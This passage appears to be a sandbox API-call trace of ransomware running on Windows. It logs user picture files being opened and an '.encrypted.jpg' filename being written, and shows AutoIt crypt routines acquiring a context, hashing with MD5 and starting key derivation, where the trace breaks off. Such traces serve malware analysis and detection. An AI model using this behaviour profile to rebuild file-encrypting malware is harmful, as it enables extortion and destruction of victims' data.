PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.248] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.248] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.248] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.248] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.249] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.249] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.249] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.249] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0028.249] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=8730) returned 1 [0028.249] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.249] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0028.249] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0028.249] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x221a, lpOverlapped=0x0) returned 1 [0028.249] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0028.249] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x221a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.249] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=8730) returned 1 [0028.249] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\fYbDf-gD6aNdufc.encrypted.jpg\r\n", cchWideChar=77, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 77 [0028.249] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\fYbDf-gD6aNdufc.encrypted.jpg\r\n", cchWideChar=77, lpMultiByteStr=0xe8f4069770, cbMultiByte=77, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\fYbDf-gD6aNdufc.encrypted.jpg\r\n", lpUsedDefaultChar=0x0) returned 77 [0028.249] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4069e30*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4069e30*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x4c, lpOverlapped=0x0) returned 1 [0028.249] CloseHandle (hObject=0x188) returned 1 [0028.251] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.251] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.251] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.251] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.251] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.251] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0028.252] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.252] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0028.253] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41789c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0028.253] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0028.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41788c0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0028.253] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0028.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\L6Fx8siCimWQ0qgOMDX1.png", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0028.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\L6Fx8siCimWQ0qgOMDX1.png", cchWideChar=70, lpMultiByteStr=0xe8f4051fe0, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\L6Fx8siCimWQ0qgOMDX1.png", lpUsedDefaultChar=0x0) returned 70 [0028.254] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\L6Fx8siCimWQ0qgOMDX1.png" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\l6fx8sicimwq0qgomdx1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0028.254] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=70, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0028.254] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=70, lpWideCharStr=0xe8f4060a80, cchWideChar=70 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\L6Fx8siCimWQ0qgOMDX1.png") returned 70 [0028.255] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.255] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.255] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.256] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0028.256] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178840, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0028.256] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0028.256] CloseHandle (hObject=0x188) returned 1 [0028.256] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.256] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.256] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.256] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0028.257] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.257] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0028.257] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0028.257] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.257] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.257] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.257] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.257] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.257] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.257] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0028.257] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.257] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.257] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.257] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.257] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.257] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.257] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.257] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.257] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.257] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.257] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.257] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.257] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.257] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.258] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.258] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0028.258] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.258] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.258] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.258] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.258] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.258] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0028.258] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.258] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f419a0a0) returned 1 [0028.258] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.258] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.258] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0028.258] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.258] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.258] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.258] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.258] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.258] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.258] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.258] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.258] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.258] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.259] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.259] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.259] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0028.259] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.259] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.259] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.259] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.259] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.259] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.259] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.259] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.259] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.259] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.259] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.259] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.259] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.259] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.259] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.259] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.259] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.259] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.259] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.260] CryptCreateHash (in: hProv=0xe8f419a0a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0028.260] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.260] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.260] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.260] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.260] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0028.260] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.260] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.260] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.260] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.260] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.260] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b960, dwDataLen=0x20, dwFlags=0x1) returned 1 [0028.260] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.260] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.260] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.260] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.260] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.260] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.260] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.260] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.260] CryptDeriveKey (in: hProv=0xe8f419a0a0, 